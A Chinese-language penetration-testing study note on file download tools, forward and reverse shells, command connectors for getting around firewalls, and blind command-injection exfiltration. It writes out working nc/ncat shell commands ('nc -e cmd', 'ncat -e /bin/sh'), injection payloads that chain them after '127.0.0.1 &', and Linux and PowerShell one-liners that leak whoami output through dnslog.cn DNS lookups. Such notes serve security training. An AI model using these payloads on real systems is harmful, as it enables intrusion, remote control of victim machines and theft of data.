一、文件上传下载
- 常用基本渗透命令详解
- 解决无图形化&解决数据传输
- 命令生成
- Linux:wget, curl,python,ruby,perl,java等;
- Windows:PowerShell,Certutil,Bitsadmin,msiexec,mshta,rund1132等;
二、反弹Shell命令
- 什么是反弹Shell
- 首先,Shell就是实现用户命令的窗口,通过该接口我们就能实现对计算机的控制(root权限)
- 反弹Shell就是将shell(命令窗口)反弹给攻击者,从而可以让攻击者可以在自己的机器上执行Shell命令,从而达到操控受害者计算机的目的
- 标准说法:reverse shell;就是控制端(攻击者)监听在某TCP/IP端口,被控端(受害者)发起请求到改端口,并将其命令行的输入输出转到控制端;reverse shell与telent,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转
- 反弹shell命令生成
- 正向连接–本地监听,等待对方连接
- Linux控制Windows
- Windows绑定CMD到本地5566端口
nc -e cmd -lvvp 5566 - Linux主动连接目标5566
ncat (ip地址) (端口号)
- Windows绑定CMD到本地5566端口
- Windows控制Linux
- Linux绑定sh到本地5566端口
ncat -e /bin/sh -lvp 5566 - Windows主动连接目标5566
ncat (ip地址) (端口号)
- Linux绑定sh到本地5566端口
- 注:Windows不自带nc(Ncat),需要手动安装;Linux自带ncat;
参数:lvp表示返回详细信息;lvvp表示返回更详细信息 - 示意图(Linux控制Windows)
- 反向连接–主动给出去,对方监听
-
Linux控制Windows
- WIndows绑定CMD到目标5566端口
nc -e cmd (ip地址) (端口号) - Linux监听等待5566进行连接控制
ncat -lvvp 5566
- WIndows绑定CMD到目标5566端口
-
Windows控制Linux
- Linux绑定sh到目标5566端口
ncat -e /bin/sh (ip地址) (端口号) - Windows监听等待5566进行连接控制
nc -lvvp 5566
- Linux绑定sh到目标5566端口
-
示例:(Windows控制Linux)
所谓的正向连接以及反向连接都是需要根据参照物来进行确认的,所举的例子均是以Linux外网服务器为参照;
正向连接就是主动出击,去控制别的服务器;
反向连接就是我把我的IP与端口号交出去,等待别人来控制我; -
外网去控制内网的主机
- 使用正向连接,主动去连接内网主机
- 内网主机监听5566端口,外网服务器主动连接(内网IP 端口号),无法连接;原因是因为内网的主机IP全国各地都有,不知道连接哪一个,所以会超时;
- 内网主机监听5566端口,外网服务器主动连接(内网所在外网IP地址 端口号) ,无法连接;运用是因为被路由器拦截
所以只能使用反向连接的方式
- 使用反向连接的方式,内网服务器主动将自己的5566端口给外网服务器,外网服务器监听该端口,即可实现控制
三、 防火墙绕过
- 连接符:
- Windows
- | (用于命令的拼接,将前一个命令的执行结果传递给后面一个命令,即将上个命令的结果作为后个命令的执行对象)
- || (a || b>>只有a命令执行失败的情况下才会执行b命令)
- && (a && b>>只有a命令执行成功的情况下才会执行b命令)
- & (顺序执行多条命令,无论前一条命令是否执行成功,都不会影响后面命令的执行,如果前一条失败,则只输出后面命令的执行结果;否则均会执行)
- Linux
- ; (按顺序执行命令,无论命令是否执行成功,均依次执行之后的命令。)
- | 同上
- || 同上
- & 同上
- && 同上
- `` (ipconfig `whoami`)将whoami的执行结果代入输出的内容中
- 注意:(;与``)是Linux独有的连接符
- 存在命令注入,如何反弹Shell
- 判断是Windows还是Linux,根据whoami,返回admin…就是Windows,root就是Linux
- Windows上是没有NC的,需要上传nc,根据上面的文件下载命令下载到C盘
- 进行反弹
- 正向
- 通过命令连接符,开启端口的监听
127.0.0.1 & c:\nc.exe -e cmd -lvvp 5566 - 攻击者连接该端口
ncat 受害者IP地址 5566
- 通过命令连接符,开启端口的监听
- 反向
- 通过命令连接符,主动将信息给攻击者的IP端口
127.0.0.1 & c:\nc.exe -e cmd 攻击者IP 5566 - 攻击者开启监听,连接上该端口
ncat -lvvp 5566
- 通过命令连接符,主动将信息给攻击者的IP端口
- 正向
- 使用正向连接,主动去连接内网主机
- 防火墙策略
- 什么是防火墙?
防火墙的基本作用就是保护特定网络免受"不信任"的网络的攻击,但是还要允许两个网络之间可以进行合法的通信;是一种位于内部网络与外部网络之间的网络安全系统;相当于一层过滤网; - 防火墙的规则
- 入站规则:入站规则中指定的过滤条件是用来过滤从网络中到本地计算机的流量;
- 出站规则:出站规则中过滤条件是用来过来吧本地计算机到网络的流量;
- 入站与出站规则都可以配置为根据需要允许或阻止流量;
- 当防火墙关闭时,这些配置的规则都没有作用;
- 存在优先级:对入站的过滤更为严格,对出站相对宽松;
- 开启入站规则时,采用反向连接;因为你主动连接,会被规则限制;只能让别人主动,而你做的只有监听
开启出站规则时,使用正向连接;因为她要出来主动约你会被限制;只能你主动出击,去连接她,她只能监听,等待你的控制
四、数据回显问题
存在漏洞,但是数据不回显解决方案:
- 反弹Shell,权限都有了,其他还怕啥。。。
- 带外查询
- Linux环境下
可以使用``符号代入,去ping一个DNSLOG网站
例如:ping `whoami`.i2x6ne.dnslog.cn 就会将whoami的执行结果代入返回中,就可以在DNSLOG网站上查看了 - Windows环境
Windows是不支持``连接符的
使用PowerShell!!!- powershell命令,开启powershell
- $x = whoami 命令,创建变量,并赋值whoami的执行结果给x
- $y = '.kouqjw.dnslog.cn’命令,创建变量y,并将DNSLOG的网站赋值给y
- $x = $x.replace(‘’,‘xxx’)命令,将whoami执行结果中的xxx替换为xxx
- $z = $x + $y命令,创建变量z,接收变量x与y的拼接结果
- ping $z命令,就会返回出来whoami命令的查询结果,如下
当存在命令注入漏洞时,就需要使用连接符,将上述命令进行拼接执行
127.0.0.1 | powershell $x=whoami;$x=$x.Replace('\','xxx');$y='.7xune2.dnslog.cn';$z=$x+$y;ping $z
- 为什么这么写?
cmd无法ping的同时执行whoami,就没办法把执行结果带出来
用到powershell变量赋值,把whoami的执行结果赋值给变量
whoami的执行结果中带有‘\’,导致ping命令无法执行,所以需要替换掉